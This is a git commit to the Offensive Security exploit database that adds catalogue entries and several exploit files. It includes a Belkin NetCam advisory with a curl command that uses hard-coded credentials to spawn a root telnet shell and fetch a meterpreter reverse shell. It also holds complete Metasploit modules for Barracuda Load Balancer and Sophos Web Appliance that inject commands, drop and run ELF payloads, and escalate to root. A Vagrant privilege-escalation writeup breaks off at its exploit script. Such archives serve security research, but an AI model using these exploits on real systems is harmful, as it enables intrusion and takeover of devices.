DB: 2017-07-19
11 new exploits Microsoft Internet Explorer 11.0.9600.18617 - 'CMarkup::DestroySplayTree' Memory Corruption Microsoft Internet Explorer 11.1066.14393.0 - VBScript Arithmetic Functions Type Confusion Microsoft Windows Kernel - 'IOCTL 0x120007 (NsiGetParameter)' nsiproxy/netio Pool Memory Disclosure Hashicorp vagrant-vmware-fusion <= 4.0.20 - Local root Privilege Esclation Belkin NetCam F7D7601 - Multiple Vulnerabilities Sophos Web Appliance 4.2.1.3 - block/unblock Remote Command Injection (Metasploit) Sophos Web Appliance 4.2.1.3 - DiagnosticTools Remote Command Injection (Metasploit) Sophos Web Appliance 4.2.1.3 - block/unblock Remote Command Injection (Metasploit) Sophos Web Appliance 4.2.1.3 - DiagnosticTools Remote Command Injection (Metasploit) Sophos Web Appliance 4.3.1.1 - Session Fixation Sophos Web Appliance 4.3.0.2 - 'trafficType' Remote Command Injection (Metasploit) Barracuda Load Balancer Firmware <= 6.0.1.006 - Remote Command Injection (Metasploit) PEGA Platform <= 7.2 ML0 - Missing Access Control / Cross-Site Scripting
This commit is contained in:
Offensive Security
parent
be3b49b643
commit
21f7dd8438
12 changed files with 996 additions and 3 deletions
14
files.csv
14
files.csv
|
|
@ -5609,6 +5609,9 @@ id,file,description,date,author,platform,type,port
|
|||
42300,platforms/linux/dos/42300.txt,"LibTIFF - 'tif_jbig.c' Denial of Service",2017-07-06,"team OWL337",linux,dos,0
|
||||
42301,platforms/linux/dos/42301.txt,"LibTIFF - '_TIFFVGetField (tiffsplit)' Out-of-Bounds Read",2017-07-06,zhangtan,linux,dos,0
|
||||
42302,platforms/windows/dos/42302.txt,"Firefox 54.0.1 - Denial of Service",2017-07-07,hyp3rlinx,windows,dos,0
|
||||
42336,platforms/windows/dos/42336.html,"Microsoft Internet Explorer 11.0.9600.18617 - 'CMarkup::DestroySplayTree' Memory Corruption",2017-07-18,"Google Security Research",windows,dos,0
|
||||
42337,platforms/windows/dos/42337.html,"Microsoft Internet Explorer 11.1066.14393.0 - VBScript Arithmetic Functions Type Confusion",2017-07-18,"Google Security Research",windows,dos,0
|
||||
42338,platforms/windows/dos/42338.cpp,"Microsoft Windows Kernel - 'IOCTL 0x120007 (NsiGetParameter)' nsiproxy/netio Pool Memory Disclosure",2017-07-18,"Google Security Research",windows,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
|
@ -9133,6 +9136,7 @@ id,file,description,date,author,platform,type,port
|
|||
42276,platforms/lin_x86/local/42276.c,"Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic' Local Privilege Escalation 'Stack Clash' Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0
|
||||
42310,platforms/windows/local/42310.txt,"Pelco VideoXpert 1.12.105 - Privilege Escalation",2017-07-10,LiquidWorm,windows,local,0
|
||||
42325,platforms/windows/local/42325.py,"Counter Strike: Condition Zero - '.BSP' Map File Code Execution",2017-07-07,"Grant Hernandez",windows,local,0
|
||||
42334,platforms/macos/local/42334.txt,"Hashicorp vagrant-vmware-fusion <= 4.0.20 - Local root Privilege Esclation",2017-07-18,"Mark Wadham",macos,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
|
@ -15696,6 +15700,7 @@ id,file,description,date,author,platform,type,port
|
|||
42315,platforms/windows/remote/42315.py,"Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)",2017-07-11,sleepya,windows,remote,0
|
||||
42327,platforms/windows/remote/42327.html,"Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution",2017-07-14,Rh0,windows,remote,0
|
||||
42328,platforms/windows/remote/42328.py,"FTPGetter 5.89.0.85 - Buffer Overflow (SEH)",2017-07-14,"Paul Purcell",windows,remote,0
|
||||
42331,platforms/hardware/remote/42331.txt,"Belkin NetCam F7D7601 - Multiple Vulnerabilities",2017-07-17,Wadeek,hardware,remote,0
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
|
@ -37762,8 +37767,8 @@ id,file,description,date,author,platform,type,port
|
|||
41410,platforms/php/webapps/41410.txt,"Joomla! Component Magic Deals Web 1.2.0 - SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0
|
||||
41411,platforms/php/webapps/41411.txt,"Joomla! Component J-BusinessDirectory 4.6.8 - SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0
|
||||
41412,platforms/php/webapps/41412.txt,"Joomla! Component AppointmentBookingPro 4.0.1 - SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0
|
||||
41413,platforms/hardware/webapps/41413.rb,"Sophos Web Appliance 4.2.1.3 - block/unblock Remote Command Injection (Metasploit)",2016-12-12,xort,hardware,webapps,0
|
||||
41414,platforms/hardware/webapps/41414.rb,"Sophos Web Appliance 4.2.1.3 - DiagnosticTools Remote Command Injection (Metasploit)",2016-12-12,xort,hardware,webapps,0
|
||||
41413,platforms/php/webapps/41413.rb,"Sophos Web Appliance 4.2.1.3 - block/unblock Remote Command Injection (Metasploit)",2016-12-12,xort,php,webapps,0
|
||||
41414,platforms/linux/webapps/41414.rb,"Sophos Web Appliance 4.2.1.3 - DiagnosticTools Remote Command Injection (Metasploit)",2016-12-12,xort,linux,webapps,0
|
||||
41415,platforms/hardware/webapps/41415.rb,"Sonicwall 8.1.0.2-14sv - 'extensionsettings.cgi' Remote Command Injection (Metasploit)",2016-12-25,xort,hardware,webapps,0
|
||||
41416,platforms/hardware/webapps/41416.rb,"Sonicwall 8.1.0.2-14sv - 'viewcert.cgi' Remote Command Injection (Metasploit)",2016-12-24,xort,hardware,webapps,0
|
||||
41424,platforms/php/webapps/41424.rb,"AlienVault OSSIM/USM < 5.3.1 - Remote Code Execution (Metasploit)",2017-01-31,"Mehmet Ince",php,webapps,0
|
||||
|
|
@ -38051,7 +38056,7 @@ id,file,description,date,author,platform,type,port
|
|||
42003,platforms/php/webapps/42003.txt,"PlaySms 1.4 - Remote Code Execution",2017-05-14,"Touhid M.Shaikh",php,webapps,0
|
||||
42004,platforms/php/webapps/42004.txt,"Mailcow 0.14 - Cross-Site Request Forgery",2017-05-15,hyp3rlinx,php,webapps,0
|
||||
42005,platforms/php/webapps/42005.txt,"Admidio 3.2.8 - Cross-Site Request Forgery",2017-04-28,"Faiz Ahmed Zaidi",php,webapps,0
|
||||
42012,platforms/hardware/webapps/42012.txt,"Sophos Web Appliance 4.3.1.1 - Session Fixation",2017-02-28,SlidingWindow,hardware,webapps,0
|
||||
42012,platforms/php/webapps/42012.txt,"Sophos Web Appliance 4.3.1.1 - Session Fixation",2017-02-28,SlidingWindow,php,webapps,0
|
||||
42013,platforms/hardware/webapps/42013.txt,"Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2 - Multiple Vulnerabilities",2017-01-12,SlidingWindow,hardware,webapps,0
|
||||
42028,platforms/xml/webapps/42028.txt,"INFOR EAM 11.0 Build 201410 - 'filtervalue' SQL Injection",2017-05-17,Yoroi,xml,webapps,0
|
||||
42029,platforms/xml/webapps/42029.txt,"INFOR EAM 11.0 Build 201410 - Persistent Cross-Site Scripting via Comment Fields",2017-05-17,Yoroi,xml,webapps,0
|
||||
|
|
@ -38140,3 +38145,6 @@ id,file,description,date,author,platform,type,port
|
|||
42324,platforms/multiple/webapps/42324.py,"Apache Struts 2.3.x Showcase - Remote Code Execution (PoC)",2017-07-07,"Vex Woo",multiple,webapps,0
|
||||
42326,platforms/hardware/webapps/42326.txt,"WDTV Live SMP 2.03.20 - Remote Password Reset",2017-07-14,Sw1tCh,hardware,webapps,0
|
||||
42330,platforms/php/webapps/42330.txt,"Orangescrum 1.6.1 - Multiple Vulnerabilities",2017-07-16,tomplixsee,php,webapps,0
|
||||
42332,platforms/json/webapps/42332.rb,"Sophos Web Appliance 4.3.0.2 - 'trafficType' Remote Command Injection (Metasploit)",2017-07-18,xort,json,webapps,0
|
||||
42333,platforms/hardware/webapps/42333.rb,"Barracuda Load Balancer Firmware <= 6.0.1.006 - Remote Command Injection (Metasploit)",2017-07-18,xort,hardware,webapps,0
|
||||
42335,platforms/multiple/webapps/42335.txt,"PEGA Platform <= 7.2 ML0 - Missing Access Control / Cross-Site Scripting",2017-07-18,"Daniel Correa",multiple,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
65
platforms/hardware/remote/42331.txt
Executable file
65
platforms/hardware/remote/42331.txt
Executable file
|
|
@ -0,0 +1,65 @@
|
|||
# Exploit Title: Belkin NetCam F7D7601 | Remote Command Execution
|
||||
# Date: 17/07/17
|
||||
# Exploit Author: Wadeek
|
||||
# Vendor Homepage: http://www.belkin.com/
|
||||
# Tested on: Belkin NetCam F7D7601 (WeMo_NetCam_WW_2.00.10684.PVT)
|
||||
================================================
|
||||
##
|
||||
UnsetupMode == [0]
|
||||
Hard-coded password admin:admin - SetupMode == [1]
|
||||
##
|
||||
================================================
|
||||
##
|
||||
[1] BusyBox version & Linux version & gcc version >> GET http://[IP]:80/goform/syslog
|
||||
[1] System version >> GET http://[IP]:80/goform/getSystemSettings?systemModel&systemVersion&brandName&longBrandName
|
||||
[1] Camera snapshot >> GET http://[IP]:80/goform/snapshot
|
||||
[1] Camera streaming >> GET http://[IP]:80/goform/video
|
||||
[101] Disclosure username and password on netcam.belkin.com >> GET http://[IP]:80/goform/apcamMode
|
||||
[101] Disclosure wifi password >> GET http://[IP]:80/apcam/for-android/aplist.asp
|
||||
[0] Firmware version >> GET http://[IP]:[49150..49159]/setup.xml
|
||||
##
|
||||
================================================
|
||||
#||
|
||||
================================================
|
||||
[0] Network Fingerprinting
|
||||
##
|
||||
80/tcp open http
|
||||
HTTP/1.1 404 Site or Page Not Found
|
||||
Server: Camera Web Server
|
||||
<title>Document Error: Site or Page Not Found</title>
|
||||
<h2>Access Error: Site or Page Not Found</h2>
|
||||
<p>Page Not Found</p>
|
||||
&&
|
||||
[49150..49159]/tcp open UPnP
|
||||
HTTP/0.0 400 Bad Request
|
||||
SERVER: Unspecified, UPnP/1.0, Unspecified
|
||||
<h1>400 Bad Request</h1>
|
||||
##
|
||||
================================================
|
||||
#||
|
||||
================================================
|
||||
[1] Wireless Fingerprinting
|
||||
##
|
||||
ESSID:"NetCamXXXX"
|
||||
Encryption key:off
|
||||
Address: C0:56:27
|
||||
##
|
||||
[1] Network Fingerprinting
|
||||
##
|
||||
80/tcp open http
|
||||
HTTP/1.1 401 Unauthorized
|
||||
Server: Camera Web Server
|
||||
WWW-Authenticate: Basic realm="Camera Web Server"
|
||||
<title>Document Error: Unauthorized</title>
|
||||
<h2>Access Error: Unauthorized</h2>
|
||||
<p>Access to this document requires a User ID</p>
|
||||
##
|
||||
[1] Remote Command Execution
|
||||
/!/ !/
|
||||
:~$ curl 'http://[IP]/goform/SystemCommand?command=telnetd%20-l%20/bin/sh' -H 'Authorization: Basic YWRtaW46YWRtaW4='
|
||||
:~$ telnet [IP] 23
|
||||
upload by FTP # ftpput -v -u [USERNAME] -p [PASSWORD] -P [PORT] [IP] [REMOTE-FILENAME] [LOCAL-FILENAME]
|
||||
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
|
||||
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
|
||||
/!/ !/
|
||||
================================================
|
||||
248
platforms/hardware/webapps/42333.rb
Executable file
248
platforms/hardware/webapps/42333.rb
Executable file
|
|
@ -0,0 +1,248 @@
|
|||
# Exploit Title: Barracuda Load Balancer Firmware <= v6.0.1.006 (2016-08-19) PostAuth remote root exploit
|
||||
#
|
||||
# Date: 01/06/2017 (Originally discovered: 3/16)
|
||||
# Exploit Author: xort
|
||||
# Software Link: https://www.barracuda.com/products/loadbalancer
|
||||
# Version: Firmware <= v6.0.1.006 (2016-08-19)
|
||||
# Tested on: 6.0.1.006 (2016-08-19)
|
||||
# 6.0.0.005 (2016-03-22) - checked:4/8/16
|
||||
# 5.4.0.004 (2015-11-26) - checked:3/16
|
||||
#
|
||||
# Not Vuln: 6.1.0.003 (2017-01-17)
|
||||
# CVE : CVE-2017-6320
|
||||
#
|
||||
# vuln: ondefined_delete_assessment trigger exploit
|
||||
#
|
||||
# Postauth remote root in Barracuda Load Balancer Firmware <= v6.0.1.006 for any under priviledged user with report generating
|
||||
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
|
||||
# root.
|
||||
#
|
||||
# xort @ Critical Start
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
include Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Barracuda Load Balancer Firmware <= v6.0.1.006 delete_assessment root exploit',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in
|
||||
the Barracuda Load Balancer Firmware Version <= v6.0.1.006 (2016-08-19) by exploiting a
|
||||
vulnerability in the web administration interface.
|
||||
By sending a specially crafted request it's possible to inject system
|
||||
commands while escalating to root do to relaxed sudo configuration on the local
|
||||
machine.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'xort', # vuln + metasploit module
|
||||
],
|
||||
'Version' => '$Revision: 2 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'none', 'none'],
|
||||
],
|
||||
'Platform' => [ 'linux'],
|
||||
'Privileged' => true,
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'Privileged' => false,
|
||||
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
}
|
||||
},
|
||||
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
|
||||
OptString.new('ET', [ false, 'Device password', "" ]),
|
||||
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
|
||||
OptString.new('CMD', [ false, 'Command to execute', "" ]),
|
||||
Opt::RPORT(8000),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def do_login(username, password_clear, et)
|
||||
vprint_status( "Logging into machine with credentials...\n" )
|
||||
|
||||
# vars
|
||||
timeout = 1550;
|
||||
enc_key = Rex::Text.rand_text_hex(32)
|
||||
|
||||
# send request
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/cgi-mod/index.cgi",
|
||||
'headers' =>
|
||||
{
|
||||
'Accept' => "application/json, text/javascript, */*; q=0.01",
|
||||
'Content-Type' => "application/x-www-form-urlencoded",
|
||||
'X-Requested-With' => "XMLHttpRequest"
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
|
||||
'enc_key' => enc_key,
|
||||
'et' => et,
|
||||
'user' => "admin", # username,
|
||||
'password' => "admin", # password_clear,
|
||||
'enctype' => "none",
|
||||
'password_entry' => "",
|
||||
'login_page' => "1",
|
||||
'login_state' => "out",
|
||||
'real_user' => "",
|
||||
'locale' => "en_US",
|
||||
'form' => "f",
|
||||
'Submit' => "Sign in",
|
||||
}
|
||||
}, timeout)
|
||||
|
||||
# get rid of first yank
|
||||
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
|
||||
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
|
||||
|
||||
return password, et
|
||||
end
|
||||
|
||||
def run_command(username, password, et, cmd)
|
||||
vprint_status( "Running Command...\n" )
|
||||
|
||||
# file to replace
|
||||
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
|
||||
sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"
|
||||
|
||||
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
|
||||
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
|
||||
|
||||
# random filename to dump too + 'tmp' HAS to be here.
|
||||
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
|
||||
|
||||
vprint_status(" file = " + b64dumpfile)
|
||||
|
||||
# decoder stubs - tells 'base64' command to decode and dump data to temp file
|
||||
b64decode1 = "echo \""
|
||||
b64decode2 = "\" | base64 -d >" + b64dumpfile
|
||||
|
||||
# base64 - encode with base64 so we can send special chars and multiple lines
|
||||
cmd = Base64.strict_encode64(cmd)
|
||||
|
||||
# Create injection string.
|
||||
# a) package the base64 decoder with encoded bytes
|
||||
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
|
||||
# c) execute decoded base64 dumpfile
|
||||
|
||||
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile
|
||||
|
||||
exploitreq = [
|
||||
[ "auth_type","Local" ],
|
||||
[ "et",et ],
|
||||
[ "locale","en_US" ],
|
||||
[ "password", password ],
|
||||
[ "primary_tab", "ADVANCE" ],
|
||||
[ "realm","" ],
|
||||
[ "secondary_tab","advanced_system" ],
|
||||
[ "user", username ],
|
||||
[ "timestamp", Time.now.to_i ],
|
||||
|
||||
[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ], # vuln
|
||||
[ "delete_assessment", Rex::Text.rand_text_numeric(20) ]
|
||||
]
|
||||
|
||||
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
|
||||
|
||||
post_data = ""
|
||||
|
||||
exploitreq.each do |xreq|
|
||||
post_data << "--#{boundary}\r\n"
|
||||
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
|
||||
post_data << "#{xreq[1]}\r\n"
|
||||
end
|
||||
post_data << "--#{boundary}--\r\n"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/cgi-mod/index.cgi",
|
||||
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
||||
'data' => post_data,
|
||||
'headers' =>
|
||||
{
|
||||
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def run_script(username, password, et, cmds)
|
||||
vprint_status( "running script...\n")
|
||||
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
# timeout
|
||||
timeout = 1550;
|
||||
|
||||
user = "admin"
|
||||
|
||||
# params
|
||||
real_user = "";
|
||||
login_state = "out"
|
||||
et = Time.now.to_i
|
||||
locale = "en_US"
|
||||
user = "admin"
|
||||
password = "admin"
|
||||
enctype = "MD5"
|
||||
password_entry = ""
|
||||
password_clear = "admin"
|
||||
|
||||
password_hash, et = do_login(user, password_clear, et)
|
||||
vprint_status("new password: #{password_hash} et: #{et}\n")
|
||||
|
||||
sleep(5)
|
||||
|
||||
|
||||
#if no 'CMD' string - add code for root shell
|
||||
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
|
||||
|
||||
cmd = datastore['CMD']
|
||||
|
||||
# Encode cmd payload
|
||||
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
|
||||
|
||||
# kill stale calls to bdump from previous exploit calls for re-use
|
||||
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
|
||||
else
|
||||
# Encode payload to ELF file for deployment
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
|
||||
|
||||
# kill stale calls to bdump from previous exploit calls for re-use
|
||||
# run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
|
||||
|
||||
run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
|
||||
handler
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
180
platforms/json/webapps/42332.rb
Executable file
180
platforms/json/webapps/42332.rb
Executable file
|
|
@ -0,0 +1,180 @@
|
|||
# Exploit Title: Sophos Web Appliance reporting JSON trafficType Remote Command Injection Vulnerablity
|
||||
# Date: 01/28/2017
|
||||
# Exploit Author: xort @ Critical Start
|
||||
# Vendor Homepage: www.sophos.com
|
||||
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
|
||||
# Version: 4.3.0.2
|
||||
# Tested on: 4.3.0.2
|
||||
#
|
||||
# CVE : (awaiting cve)
|
||||
|
||||
# vuln: report command / trafficType JSON parameter / ???.php exploit
|
||||
|
||||
# Description PostAuth Sophos Web App FW <= v4.3.0.2 for capablities. This exploit leverages a command injection bug.
|
||||
#
|
||||
# xort @ Critical Start
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
include Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sophos Web Appliace <= v4.3.0.2 JSON reporting remote exploit',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in
|
||||
the Sophos Web Appliace Version <= v4.3.0.2. The vulnerability exist in
|
||||
a section of the machine's reporting inferaface that accepts unsanitized
|
||||
unser supplied information within a JSON query.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'xort@Critical Start', # vuln + metasploit module
|
||||
],
|
||||
'Version' => '$Revision: 1 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'none', 'none'],
|
||||
],
|
||||
'Platform' => [ 'linux'],
|
||||
'Privileged' => true,
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
}
|
||||
},
|
||||
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
|
||||
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
|
||||
OptString.new('CMD', [ false, 'Command to execute', "" ]),
|
||||
Opt::RPORT(443),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def do_login(username, password_clear)
|
||||
vprint_status( "Logging into machine with credentials...\n" )
|
||||
|
||||
# vars
|
||||
timeout = 1550;
|
||||
style_key = Rex::Text.rand_text_hex(32)
|
||||
|
||||
# send request
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/index.php",
|
||||
'vars_get' => {
|
||||
'c' => 'login',
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
|
||||
'STYLE' => style_key,
|
||||
'destination' => '',
|
||||
'section' => '',
|
||||
'username' => username,
|
||||
'password' => password_clear
|
||||
},
|
||||
'headers' => {
|
||||
'Connection' => 'close',
|
||||
}
|
||||
|
||||
}, timeout)
|
||||
|
||||
return style_key
|
||||
end
|
||||
|
||||
def run_command(username, style_password, cmd)
|
||||
|
||||
vprint_status( "Running Command...\n" )
|
||||
|
||||
# send request with payload
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/index.php",
|
||||
'vars_post' => {
|
||||
'chart' => 'pie',
|
||||
'period' => 'custom',
|
||||
'multiplier' => '1',
|
||||
'metric' => '',
|
||||
'token' => '0.3156784180233425',
|
||||
'start' => '1/27/2017',
|
||||
'end' => '1/27/2017',
|
||||
'filters' => '{"topn": "25", "trafficType": "out|'+cmd+'&", "department": "sophos_swa_all_departments"}',
|
||||
'pdf' => '1',
|
||||
'test' => '',
|
||||
'STYLE' => style_password ,
|
||||
},
|
||||
'vars_get' => {
|
||||
'c' => 'report',
|
||||
'name' => 'traf_users',
|
||||
'STYLE' => style_password ,
|
||||
},
|
||||
})
|
||||
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
# timeout
|
||||
timeout = 1550;
|
||||
|
||||
# params
|
||||
password_clear = datastore['PASSWORD']
|
||||
user = datastore['USERNAME']
|
||||
|
||||
# do authentication
|
||||
style_hash = do_login(user, password_clear)
|
||||
|
||||
vprint_status("STATUS hash authenticated: #{style_hash}\n")
|
||||
|
||||
# pause to let things run smoothly
|
||||
sleep(2)
|
||||
|
||||
#if no 'CMD' string - add code for root shell
|
||||
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
|
||||
|
||||
cmd = datastore['CMD']
|
||||
|
||||
# Encode cmd payload
|
||||
|
||||
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')
|
||||
|
||||
# upload elf to /tmp/n , chmod +rx /tmp/n , then run /tmp/n (payload)
|
||||
run_command(user, style_hash, ("echo -e #{encoded_cmd}>/tmp/n;chmod +rx /tmp/n;/tmp/n" ))
|
||||
else
|
||||
# Encode payload to ELF file for deployment
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')
|
||||
|
||||
# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
|
||||
run_command(user, style_hash, ("(echo -e #{encoded_elf}>/tmp/m;chmod +rx /tmp/m;/tmp/m)"))
|
||||
|
||||
# wait for magic
|
||||
handler
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
70
platforms/macos/local/42334.txt
Executable file
70
platforms/macos/local/42334.txt
Executable file
|
|
@ -0,0 +1,70 @@
|
|||
I'm a big fan of Hashicorp but this is an awful bug to have in software of their
|
||||
calibre.
|
||||
|
||||
Their vagrant plugin for vmware fusion uses a product called Ruby Encoder to
|
||||
protect their proprietary ruby code. It does this by turning the ruby code into
|
||||
bytecode and executing it directly.
|
||||
|
||||
Unfortunately the execution chain necessary for this to work is not safe. After
|
||||
installing the plugin, the first time you "vagrant up" any vagrant file using
|
||||
vmware fusion it will create some files in
|
||||
~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.18/bin:
|
||||
|
||||
vagrant_vmware_desktop_sudo_helper
|
||||
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386
|
||||
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64
|
||||
vagrant_vmware_desktop_sudo_helper_wrapper_linux_386
|
||||
vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64
|
||||
|
||||
The first one is an encoded ruby script, the others are "sudo helper" binaries
|
||||
for the different platforms supported by the plugin. Of these sudo helpers,
|
||||
the one that corresponds to your platform will be made suid root when vagrant up
|
||||
is run.
|
||||
|
||||
Unfortunately the helper calls the ruby script with system("ruby <script path>")
|
||||
- i.e. it doesn't verify the path to the ruby script and it doesn't scrub the
|
||||
PATH variable either. We can easily exploit this to get root.
|
||||
|
||||
Hashicorp were quick to respond and kindly paid me a small bounty for my trouble.
|
||||
|
||||
The issue was acknowledged by Hashicorp on 08/04/17 and fixed on 14/07/17.
|
||||
|
||||
The exploit below is for darwin 64bit but it's likely other architectures are
|
||||
also vulnerable.
|
||||
|
||||
https://m4.rkw.io/vagrant_vmware_privesc.sh.txt
|
||||
2a58c6fd18e0a36c2fa58ab32298a0e3b89f28843bd8cd4e3a9ff8623028dca3
|
||||
--------------------------------------------------------------------------
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1`
|
||||
|
||||
